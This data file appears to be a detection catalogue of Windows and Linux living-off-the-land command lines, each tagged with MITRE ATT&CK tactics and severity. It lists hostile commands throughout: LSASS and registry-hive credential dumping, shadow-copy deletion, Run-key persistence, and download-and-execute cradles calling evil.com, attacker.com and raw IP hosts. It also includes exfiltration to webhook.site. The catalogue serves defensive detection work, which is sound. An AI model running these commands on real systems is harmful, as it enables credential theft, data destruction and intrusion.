reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253149 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525314a reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525314b reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKCU\Software\Microsoft\Active Setup\Installed Components" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525314c reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525314d reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525314e reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525314f reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253150 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253151 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253152 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253153 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253154 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253155 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253156 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253157 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253158 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\fSingleSessionPerUser" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253159 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\Licensing Core\EnableConcurrentSessions" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525315a reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\System\CurrentControlSet\Services\Ntds\Parameters" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525315b reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525315c reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKLM\Security\Policy\Secrets" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525315d reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a525315e reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium High
reg save HKLM\SECURITY c:\test\security.bak && reg save HKLM\SYSTEM c:\test\system.bak && reg save HKLM\SAM c:\test\sam.bak 63360b0051879d92a525315f reg Credential Access T1003.002 Critical High
reg.exe ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f 63360b0051879d92a5253160 reg Defense Evasion T1112 High High
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f” 63360b0051879d92a5253161 reg Defense Evasion T1112 High High
regasm.exe AllTheThingsx64.dll 63360b0051879d92a5253162 regasm Defense Evasion T1218.009 High High
regasm.exe /U AllTheThingsx64.dll 63360b0051879d92a5253163 regasm Defense Evasion T1218.009 High High
rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP" 63360b0051879d92a5253164 Unregmp2 Defense Evasion T1202 Critical High
tttracer.exe C:\windows\system32\calc.exe 63360b0051879d92a5253165 tttracer Defense Evasion T1127 High Medium
TTTracer.exe -dumpFull -attach pid 63360b0051879d92a5253166 tttracer Credential Access T1003 High High
diskshadow.exe /s c:\test\diskshadow.txt 63360b0051879d92a5253167 DiskShadow Credential Access T1003.003 High High
diskshadow exec calc.exe 63360b0051879d92a5253168 DiskShadow Defense Evasion T1202 High High
wuauclt.exe /UpdateDeploymentProvider [TARGETDLL] /RunHandlerComServer 63360b0051879d92a5253169 wuauclt Defense Evasion T1218 High High
vbc.exe /target:exe c:\temp\vbs\run.vb 63360b0051879d92a525316a vbc Defense Evasion T1127 Medium Medium
start ms-appinstaller://?source=https://evil.com/raw/payload 63360b0051879d92a525316b appinstaller Command and Control T1105 Medium Low
rundll32.exe AllTheThingsx64,EntryPoint 63360b0051879d92a525316c rundll32 Defense Evasion T1218.011 High High
rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint 63360b0051879d92a525316d rundll32 Defense Evasion, Command and Control T1218.011, T1105 High High
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');" 63360b0051879d92a525316e rundll32 Defense Evasion, Command and Control T1218.011, T1105 High High
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test") 63360b0051879d92a525316f rundll32 Defense Evasion, Command and Control T1218.011, T1105 High High
rundll32.exe -sta {CLSID} 63360b0051879d92a5253170 rundll32 Defense Evasion T1218.011 High High
rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1, 63360b0051879d92a5253171 ieadvpack Defense Evasion T1218.011 High High
rundll32.exe ieadvpack.dll,RegisterOCX test.dll 63360b0051879d92a5253172 ieadvpack Defense Evasion T1218.011 High High
rundll32.exe ieadvpack.dll,RegisterOCX calc.exe 63360b0051879d92a5253173 ieadvpack Defense Evasion T1218.011 High High
rundll32 ieadvpack.dll, RegisterOCX "cmd.exe /c calc.exe" 63360b0051879d92a5253174 ieadvpack Defense Evasion T1218.011 High High
AccCheckConsole.exe -window "Untitled - Notepad" C:\path\to\your\lolbas.dll 63360b0051879d92a5253175 AccCheckConsole Defense Evasion T1218 High High
certutil -urlcache -f [URL] [DestinationPath] 63360b0051879d92a5253176 certutil Command and Control T1105 Medium High
certutil -urlcache -split -f [URL] [DestinationPath] 63360b0051879d92a5253177 certutil Command and Control T1105 Medium High
certutil -verifyctl -split -f [URL] 63360b0051879d92a5253178 certutil Command and Control T1105 Medium High
certutil -addstore -f -user [certificatestorename] [file] 63360b0051879d92a5253179 certutil Defense Evasion T1553.004 High High
certutil -decode -f [EncodedFile] [DestinationPath] 63360b0051879d92a525317a certutil Defense Evasion T1140 High High
certutil -encode [Input] [Output] 63360b0051879d92a525317b certutil Defense Evasion T1140 High High
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt 63360b0051879d92a525317c certutil Defense Evasion T1140, T1564.004 Medium High
dsquery subnet -limit 0 63360b0051879d92a525317d dsquery Discovery T1016 Low Medium
dsquery computer -limit 0 63360b0051879d92a525317e dsquery Discovery T1018 Low Medium
dsquery user -limit 0 63360b0051879d92a525317f dsquery Discovery T1087.002 Low Medium
dsquery group -limit 0 63360b0051879d92a5253180 dsquery Discovery T1069.002 Low Medium
dsquery * -filter "(objectClass=trustedDomain)" -attr * 63360b0051879d92a5253181 dsquery Discovery T1482 Low Medium
dsquery group -name "Domain Admins" 63360b0051879d92a5253182 dsquery Discovery T1069.002 Low Medium
rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta" 63360b0051879d92a5253183 mshtml Defense Evasion T1218.011 High High
DefaultPack.exe /C:"process.exe args" 63360b0051879d92a5253184 DefaultPack Defense Evasion T1218 High High
regedit /e [OutputPath] [RegPath] 63360b0151879d92a5253185 regedit Discovery T1012 High High
regedit /s [Path to .REG file] 63360b0151879d92a5253186 regedit Defense Evasion T1112 High High
sqldumper.exe [PID] 0 0x0110 63360b0151879d92a5253187 sqldumper Credential Access T1003 High High
sqldumper.exe [LSASS_PID] 0 0x01100:40 63360b0151879d92a5253188 sqldumper Credential Access T1003, T1003.001 High High
TTDInject.exe /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /Launch "C:/Windows/System32/calc.exe" 63360b0151879d92a5253189 ttdinject Defense Evasion T1127 High Medium
print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe 63360b0151879d92a525318a print Defense Evasion T1564.004 High High
print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe 63360b0151879d92a525318b print Defense Evasion, Command and Control T1564.004, T1105 High High
tasklist [/s <computer> [/u [<domain>\]<username> [/p <password>]]] [{/m <module> | /svc | /v}] [/fo {table | list | csv}] [/nh] [/fi <filter> [/fi <filter> [ ... ]]] 63360b0151879d92a525318c tasklist Discovery T1057, T1518.001, T1007 Low Low
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A 63360b0151879d92a525318d replace Command and Control T1105 Low Low
bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1 63360b0151879d92a525318e BITSAdmin Defense Evasion, Command and Control T1218, T1564.004, T1105 High High
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 63360b0151879d92a525318f BITSAdmin Defense Evasion, Command and Control T1218, T1564.004, T1105 High High
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset 63360b0151879d92a5253190 BITSAdmin Defense Evasion, Command and Control T1218, T1564.004, T1105 High High
rundll32.exe pcwutl.dll,LaunchApplication calc.exe 63360b0151879d92a5253191 pcwutl Defense Evasion T1218.011 High High
whoami /all 63360b0151879d92a5253192 whoami Discovery T1033, T1059.003 Low Medium
echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt 63360b0151879d92a5253193 ftp Defense Evasion T1202 High High
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v" 63360b0151879d92a5253194 ftp Defense Evasion, Command and Control T1202, T1105 High High
Runonce.exe /AlternateShellStartup 63360b0151879d92a5253195 runonce Defense Evasion T1218 High High
devtoolslauncher.exe LaunchForDeploy [PATH_TO_BIN] "argument here" test 63360b0151879d92a5253196 devtoolslauncher Defense Evasion T1127 Medium High
rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url" 63360b0151879d92a5253197 ieframe Command and Control, Defense Evasion T1105, T1218.011 High High
InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll 63360b0151879d92a5253198 InstallUtil Defense Evasion T1218.004 High High
control.exe c:\windows\tasks\file.txt:evil.dll 63360b0151879d92a5253199 Control Defense Evasion T1564.004, T1218.002 High High
rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\test\shady.inf 63360b0151879d92a525319a syssetup Defense Evasion T1218.011 High High
rundll32.exe url.dll,OpenURL "C:\test\calc.hta" 63360b0151879d92a525319b url Defense Evasion T1218.011 High High
rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e 63360b0151879d92a525319c url Defense Evasion T1218.011, T1027 High High
rundll32.exe url.dll,FileProtocolHandler calc.exe 63360b0151879d92a525319d url Defense Evasion T1218.011 High High
vssadmin delete shadows /all /quiet 63360b0151879d92a525319e vssadmin Impact T1490 Critical High
vssadmin.exe create shadow /for=#{drive_letter} 63360b0151879d92a525319f vssadmin Credential Access T1003.003 Critical High
“C:\Windows\System32\cmd.exe” /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no 63360b0151879d92a52531a0 vssadmin Impact T1490 Critical High
ConfigSecurityPolicy.exe C:\\Windows\\System32\\calc.exe https://webhook.site/xxxxxxxxx?encodedfile 63360b0151879d92a52531a1 ConfigSecurityPolicy Exfiltration T1567 High High
GfxDownloadWrapper.exe [URL] [FILE] 63360b0151879d92a52531a2 gfxdownloadwrapper Command and Control T1105 High High
jsc.exe scriptfile.js 63360b0151879d92a52531a3 jsc Defense Evasion T1127 High High
jsc.exe /t:library Library.js 63360b0151879d92a52531a4 jsc Defense Evasion T1127 High High
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab 63360b0151879d92a52531a5 makecab Defense Evasion, Collection T1564.004, T1560.001 High High
makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab 63360b0151879d92a52531a6 makecab Defense Evasion, Collection, Command and Control T1564.004, T1560.001, T1105 High High
at.exe at 09:00 /interactive /every:m,t,w,th,f,s,su C:\Windows\System32\revshell.exe 63360b0151879d92a52531a7 at Execution, Persistence, Privilege Escalation T1053.002 Medium Medium
wmic os get /format:https://[PAYLOAD] 63360b0151879d92a52531a8 wmic Defense Evasion, Command and Control, Execution T1218, T1105, T1047 High Medium
wmic.exe process call create "c:\ads\file.txt:program.exe" 63360b0151879d92a52531a9 wmic Defense Evasion, Execution T1564.004, T1218, T1047 High High
wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f" 63360b0151879d92a52531aa wmic Persistence, Privilege Escalation, Defense Evasion, Execution T1546.012, T1218, T1047 High High
wmic.exe /node:"10.10.10.10" process call create "evil.exe" 63360b0151879d92a52531ab wmic Defense Evasion, Execution T1218, T1047 High High
wmic.exe /node:[COMPUTER] PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt" 63360b0151879d92a52531ac wmic Defense Evasion, Execution T1218, T1047 High High
wmic.exe /node:[COMPUTER] PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit" 63360b0151879d92a52531ad wmic Credential Access, Defense Evasion, Execution T1003.003, T1218, T1047 High High
wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl" 63360b0151879d92a52531ae wmic Defense Evasion, Execution T1218, T1047 High High
wmic computersystem get name 63360b0151879d92a52531af wmic Defense Evasion, Discovery T1218, T1082 Low Low
wmic /node:“[TARGET]” process call create “powershell Enable-PSRemoting -Force -SkipNetworkProfileCheck” 63360b0151879d92a52531b0 wmic Defense Evasion, Execution T1218, T1047, T1569.002 High High
mmc.exe -Embedding c:\path\to\test.msc 63360b0151879d92a52531b1 mmc Defense Evasion T1218.014 High High
mmc.exe gpedit.msc 63360b0151879d92a52531b2 mmc Defense Evasion T1218.014 Medium High
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX" 63360b0151879d92a52531b3 SyncAppvPublishingServer Defense Evasion, Command and Control T1218, T1105 Critical High
SQLToolsPS.exe -noprofile -command Start-Process [ANYTHING.exe] 63360b0151879d92a52531b4 SQLToolsPS Defense Evasion T1218 High High
rundll32 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full" 63360b0151879d92a52531b5 comsvcs Defense Evasion, Credential Access T1218.011, T1003.001 High High
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full 63360b0151879d92a52531b6 comsvcs Defense Evasion, Credential Access T1218.011, T1003.001 High High
Presentationhost.exe C:\temp\Evil.xbap 63360b0151879d92a52531b7 Presentationhost Defense Evasion T1218 High High
fsianycpu.exe c:\path\to\test.fsscript 63360b0151879d92a52531b8 fsianycpu Execution, Defense Evasion T1059, T1218 High High
expand \\webdav\folder\file.bat c:\ADS\file.bat 63360b0151879d92a52531b9 expand Command and Control T1105 Medium High
expand c:\ADS\file1.bat c:\ADS\file2.bat 63360b0151879d92a52531ba expand Command and Control T1105 Medium High
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat 63360b0151879d92a52531bb expand Command and Control, Defense Evasion T1105, T1564.004 High High
Pcwrun.exe c:\temp\beacon.exe 63360b0151879d92a52531bc pcwrun Defense Evasion T1218 High High
msiexec /quiet /i cmd.msi 63360b0151879d92a52531bd msiexec Defense Evasion T1218.007 Low Low
msiexec /q /i http://192.168.100.3/tmp/cmd.png 63360b0151879d92a52531be msiexec Defense Evasion T1218.007 High High
msiexec /y "C:\folder\evil.dll" 63360b0151879d92a52531bf msiexec Defense Evasion T1218.007 High High
SettingSyncHost -LoadAndRunDiagScript anything 63360b0151879d92a52531c0 SettingSyncHost Defense Evasion T1218 High High
nltest /domain_trusts 63360b0151879d92a52531c1 nltest Discovery T1482 Medium High
nltest /dclist:"[DOMAIN NAME]" 63360b0151879d92a52531c2 nltest Discovery T1018 Medium High
nltest /dsgetdc:"[DOMAIN NAME]" 63360b0151879d92a52531c3 nltest Discovery T1018 Medium High
coregen.exe /L C:\folder\evil.dll dummy_assembly_name 63360b0151879d92a52531c4 coregen Defense Evasion, Privilege Escalation T1055, T1218 High High
coregen.exe dummy_assembly_name 63360b0151879d92a52531c5 coregen Defense Evasion, Privilege Escalation T1055, T1218 High High
Mavinject.exe 4172 /INJECTRUNNING "c:\ads\file.txt:file.dll" 63360b0151879d92a52531c6 mavinject Defense Evasion T1564.004, T1218.013 High High
xwizard RunWizard /t /u {00000001-0000-0000-0000-0000FEEDACDC} 63360b0151879d92a52531c7 xwizard Defense Evasion, Privilege Escalation, Persistence T1218, T1546.015 High High
xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z https://pastebin.com/raw/iLxUT5gM 63360b0151879d92a52531c8 xwizard Defense Evasion, Command and Control T1218, T1105 High High
VSIISExeLauncher.exe -p [PATH_TO_BIN] -a "[ARGUMENTS]" 63360b0151879d92a52531c9 VSIISExeLauncher Defense Evasion T1218 High High
Microsoft.Workflow.Compiler.exe tests.xml results.xml 63360b0151879d92a52531ca microsoft.workflow.compiler Defense Evasion T1127 High High
systeminfo /s [COMPUTER] /u [DOMAIN\USERNAME] /p [PASSWORD] 63360b0151879d92a52531cb systeminfo Discovery T1082 Low Low
fsi.exe c:\path\to\test.fsscript 63360b0151879d92a52531cc fsi Execution, Defense Evasion T1059, T1218 High High
DataSvcUtil /out:C:\\Windows\\System32\\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile 63360b0151879d92a52531cd DataSvcUtil Exfiltration T1567 High High
ScriptRunner.exe -appvscript "\\fileserver\calc.cmd" 63360b0151879d92a52531ce scriptrunner Command and Control, Defense Evasion T1105, T1202, T1218 High High
VisualUiaVerifyNative.exe 63360b0151879d92a52531cf VisualUiaVerifyNative Defense Evasion T1218 Medium Medium
wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u calc.exe 63360b0151879d92a52531d0 wlrmdr Defense Evasion T1202 High High
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll" 63360b0151879d92a52531d1 winword Command and Control T1105 High High
msxsl.exe customers.xml script.xsl 63360b0151879d92a52531d2 msxsl Defense Evasion T1218 High High
msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xsl 63360b0151879d92a52531d3 msxsl Defense Evasion, Command and Control T1218, T1105 High High
ieexec.exe http://x.x.x.x:8080/bypass.exe 63360b0151879d92a52531d4 ieexec Command and Control, Defense Evasion T1105, T1218 High High
portqry -local 63360b0151879d92a52531d5 portqry Discovery T1049 Low Low
portqry -n [IP Address] -e [Port] 63360b0151879d92a52531d6 portqry Discovery T1049 Low Low
advanced_ip_scanner.exe /r:[IP-RANGE] 63360b0151879d92a52531d7 Advanced IP Scanner Discovery T1018, T1135, T1046 Low High
advanced_ip_scanner.exe /s:ipranges.txt /f:results.txt 63360b0151879d92a52531d8 Advanced IP Scanner Discovery T1018, T1135, T1046 Low High
psexec -accepteula \\* -r [SERVICE_NAME] -s -d [EXECUTABLE] -u [USER] -p [PASSWORD] 63360b0151879d92a52531d9 PsExec Lateral Movement, Persistence, Privilege Escalation, Execution T1021.002, T1570, T1543.003, T1569.002 High High
psexec -accepteula @[File Containing Remote Hosts] -d cmd /c [CommandString] 63360b0151879d92a52531da PsExec Lateral Movement, Persistence, Privilege Escalation, Execution T1021.002, T1570, T1543.003, T1569.002 High Medium
nanodump.x64.exe -w "%temp%\nanodump.dmp" 63360b0151879d92a52531db nanodump Credential Access T1003.001 Critical High
pslist -accepteula \\[COMPUTER] 63360b0151879d92a52531dc pslist Discovery T1057 Low Medium
fscan.exe -h 10.227.156.0/24 -nopoc -np -p 80,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,3389 63360b0151879d92a52531dd fscan Discovery, Reconnaissance T1018, T1595.002 High High
laZagne.exe all -oA -output [FILE] 63360b0151879d92a52531de lazagne Credential Access T1555, T1555.001, T1555.003, T1555.004, T1003.001, T1003.004, T1003.005, T1003.007, T1003.008, T1552.001 Critical High
Get-Domain -Domain [DOMAIN] 63360b0151879d92a52531df powersploit Discovery T1018 High High
Get-DomainDNSRecord -Domain [DOMAIN] 63360b0151879d92a52531e0 powersploit Discovery T1018 High High
Get-Forest -Forest [FOREST] 63360b0151879d92a52531e1 powersploit Discovery T1482 High High
Get-DomainComputer -SearchBase [BASE}] -LDAPFilter [FILTER] 63360b0151879d92a52531e2 powersploit Discovery T1018 High High
adfind -f objectcategory=computer 63360b0151879d92a52531e3 ADFind Discovery T1018, T1087.002 Medium High
adfind -f objectcategory=person 63360b0151879d92a52531e4 ADFind Discovery T1018, T1087.002 Medium High
adfind -subnets -f objectCategory=subnet 63360b0151879d92a52531e5 ADFind Discovery T1016 Medium High
adfind -gcb -sc trustdmp 63360b0151879d92a52531e6 ADFind Discovery T1018, T1482 Medium High
adfind -sc computers_pwdnotreqd 63360b0151879d92a52531e7 ADFind Discovery T1018 High High
procdump -accepteula -ma [LSASS_PID] [OUTPUT_FILE] 63360b0151879d92a52531e8 ProcDump Credential Access T1003.001 High High
procdump -accepteula -r -ma [LSASS_PID] [OUTPUT_FILE] 63360b0151879d92a52531e9 ProcDump Credential Access T1003.001 High High
procdump.exe -md calc.dll explorer.exe 63360b0151879d92a52531ea ProcDump Defense Evasion T1202 High High
procdump.exe -md calc.dll foobar 63360b0151879d92a52531eb ProcDump Defense Evasion T1202 High High
sharpshares.exe /threads 50 /ldap:all /filter:sysvol,netlogon,ipc$,print$ /outfile:test.txt 63360b0151879d92a52531ec sharpshares Discovery T1135 High High
Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); get-process lsass | Out-Minidump 63360b0151879d92a52531ed Out-Minidump Credential Access T1003.001 Critical High
ngrok.exe config add-authtoken [AUTH TOKEN REACTED] 63360b0151879d92a52531ee ngrok Command and Control T1572, T1102 High High
ssas.exe authtoken [AUTH TOKEN REDACTED] 63360b0151879d92a52531ef ngrok Command and Control T1572, T1102 High High
yum remove [APP] -y 63360b0151879d92a52531f0 yum Defense Evasion T1562.001 Low Low
arp -a 63360b0151879d92a52531f1 arp_linux Discovery T1018 Low Low
mv /usr/bin/[FILE] /usr/bin/[NEWNAME] 63360b0151879d92a52531f2 mv Defense Evasion T1036.003 Low Low
iptables -F 63360b0151879d92a52531f3 iptables Defense Evasion T1562.004 High High
ufw disable 63360b0151879d92a52531f4 ufw Defense Evasion T1562.004 High High
systemctl stop [SERVICE] 63360b0151879d92a52531f5 systemctl Impact T1489 Low Low
systemctl disable [SERVICE] 63360b0151879d92a52531f6 systemctl Impact T1489 Low Low
apt-get remove [APP] -y 63360b0151879d92a52531f7 apt-get Defense Evasion T1562.001 Low Low